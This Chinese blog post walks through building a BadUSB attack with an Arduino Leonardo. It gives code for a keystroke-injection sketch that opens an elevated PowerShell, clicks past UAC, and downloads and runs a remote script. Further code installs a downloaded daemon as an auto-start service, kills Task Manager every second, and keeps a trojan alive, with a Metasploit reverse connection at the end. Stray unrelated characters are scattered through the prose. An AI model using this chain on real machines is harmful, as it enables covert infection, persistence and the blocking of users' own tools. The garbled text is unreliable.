前段時間了解到攻擊性硬件的概念挺狰,感覺很有趣俐填,于是萌生了自己動手嘗試一番badusb的想法伶氢。
于是在網(wǎng)上買了一小塊Arduino Leonardo (便宜的很)澈蟆,利用Arduino IDE并結(jié)合powershell腳本c++程序等簡單模擬一下病毒的攻擊流程墨辛。
關(guān)于usb
U盤由芯片控制器和閃存兩部分組成,芯片控制器負責與PC的通訊和識別趴俘,閃存用來做數(shù)據(jù)存儲睹簇;閃存中有一部分區(qū)域用來存放U盤的固件,它的作用類似于操作系統(tǒng)寥闪,控制軟硬件交互太惠;固件無法通過普通手段進行讀取。
BadUSB就是通過對U盤的固件進行逆向重新編程疲憋,相當于改寫了U盤的操作系統(tǒng)而進行攻擊的凿渊。
現(xiàn)在的USB設備很多,比如音視頻設備、攝像頭等埃脏,因此要求系統(tǒng)提供最大的兼容性搪锣,甚至免驅(qū);所以在設計USB標準的時候沒有要求每個USB設備像網(wǎng)絡設備那樣占有一個唯一可識別的MAC地址讓系統(tǒng)進行驗證彩掐,而是允許一個USB設備具有多個輸入輸出設備的特征构舟。這樣就可以通過重寫U盤固件,偽裝成一個USB鍵盤堵幽,并通過虛擬鍵盤輸入集成到U盤固件中的指令和代碼而進行攻擊狗超。
步驟
一.Arduino下載文件并執(zhí)行
曬一曬我的Arduino Lenardo:
安裝arduino IDE并編寫代碼。
#include<Keyboard.h> //包含鍵盤模塊頭文件
void setup(){ //初始化
Keyboard.begin();//開始鍵盤通信
delay(1000);//延時1000毫秒朴下,
Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵
Keyboard.press('r');//按下r鍵 CMD
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win鍵
Keyboard.release('r');//松掉r鍵
delay(500);
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //縮小窗口
Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*開啟管理員級別的powershell*/
delay(2000);
Keyboard.press(KEY_LEFT_ARROW); //按住左方向鍵
Keyboard.release(KEY_LEFT_ARROW); //釋放左方向鍵
delay(500);
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN);//釋放enter鍵
delay(3000);
Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定義一個對象
Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.124.129/VIRUS/STEP1.PS1','C:\\TEMP\\STEP1.PS1')"); /*從服務端下載Powershell腳本*/
Keyboard.println("C:\\TEMP\\STEP1.PS1");
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //縮小窗口
delay(500);
Keyboard.end();//結(jié)束鍵盤通訊
}
void loop()//循環(huán)努咐,這里的代碼
{
//循環(huán)體
}
邏輯比較簡單,模擬鍵盤操作打開cmd,Powershell并隱藏窗口殴胧,從服務器下載powershell腳本并執(zhí)行麦撵。這里由于不會繞過uac,于是用了比較蠢的鍵盤操作溃肪,方向鍵點擊確定按鈕免胃。
選好正確的開發(fā)板和端口:
編譯代碼:
上傳燒錄:
接下來,插入arduino就會自動運行動作了惫撰。
二.powershell下載文件并創(chuàng)建服務
我想讓powershell實現(xiàn)的功能是羔沙,去下載守護進程,創(chuàng)建一個自啟動服務厨钻,并實現(xiàn)一個阻止用戶打開任務管理器的功能扼雏。
關(guān)鍵代碼:
$src = 'HTTP://192.168.124.129/VIRUS/daemon.exe'
$des = "C:\\TEMP\\daemon.exe"
$client = new-object System.Net.WebClient
$client.DownloadFile($src, $des)
new-Service -name daemonService -DisplayName daemonService -BinaryPathName "C:\\TEMP\\daemon.exe" -StartupType Automatic
while($true)
{
$tasksmanager = "taskmgr"
$status = Get-Process $tasksmanager -ErrorAction SilentlyContinue
If ($status)
{
foreach($p in $status)
{
$p|stop-Process -force
}
}
Start-Sleep -s 1
}
后面設定好每隔一秒去關(guān)閉任務管理器,當然可以把間隔時間設的更小夯膀。
三 編寫守護程序
掏出了荒廢已久的c++ :)
計劃實現(xiàn)一個下載木馬文件并備份诗充,監(jiān)控木馬進程,自動重連和恢復文件的功能诱建。
找的網(wǎng)上的程序蝴蜓,做了點修改。
文件檢測并恢復:
BOOL checkFile(LPVOID strpath){
char *path = (char *)strpath;
if((fopen(path,"rb"))==NULL){
return FALSE;
}else{
return TRUE;
}
}
……
if(!checkFile(path[i])){
source += "http://beifen";
destination = (string)path[i];
CopyFile(source.data(), destination.data(), FALSE);
cout << path[i] <<endl;
}
進程監(jiān)控:
DWORD WINAPI Daemonproc(LPVOID lpParameter)
{
char *path = (char *)lpParameter;
cout << "child process " << path<< endl;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
do{
if(!CreateProcess( NULL,path,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
{
cout << "創(chuàng)建進程失敗.." << GetLastError() << endl;
return 0;
}
WaitForSingleObject( pi.hProcess, INFINITE);
cout << "子進程已經(jīng)退出..." << endl;
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}while(true);
return 0;
}
配置文件tellme.ini:
[PROCESSNUM]
num=1
[PROCESSPATH]
path1="C:\Update\step3.exe"
四.metaspoloit
metasploit生成一個反連馬俺猿。
五.final
最后把這幾個步驟結(jié)合起來
arduino下載step1.ps1并執(zhí)行;setp1.ps1下載其他文件茎匠,創(chuàng)建服務;啟動 daemon.exe,復制木馬到update目錄,并反連metasploit押袍。
最后的效果:
最后想要的效果是勉強實現(xiàn)了诵冒,但還是有很多的問題,比如這個powershell的窗口隱藏谊惭,因為我step1.ps1順便執(zhí)行了監(jiān)聽關(guān)閉任務管理器的功能汽馋,關(guān)掉界面功能就斷掉了侮东,最小化就沒法繼續(xù)輸命令;還有這個daemon.exe沒法自啟動豹芯,需要我手動啟動一下或者重啟悄雅;還有arduino第一次插入會安裝驅(qū)動器,我的win10成功安裝了告组,win7沒安裝成功導致用不了煤伟,郁悶癌佩。而且代碼實現(xiàn)的也很有問題木缝,東拼西湊的,有點亂围辙,也懶得繼續(xù)花功夫雕琢了我碟。不過確實挺好玩的,哈哈哈姚建。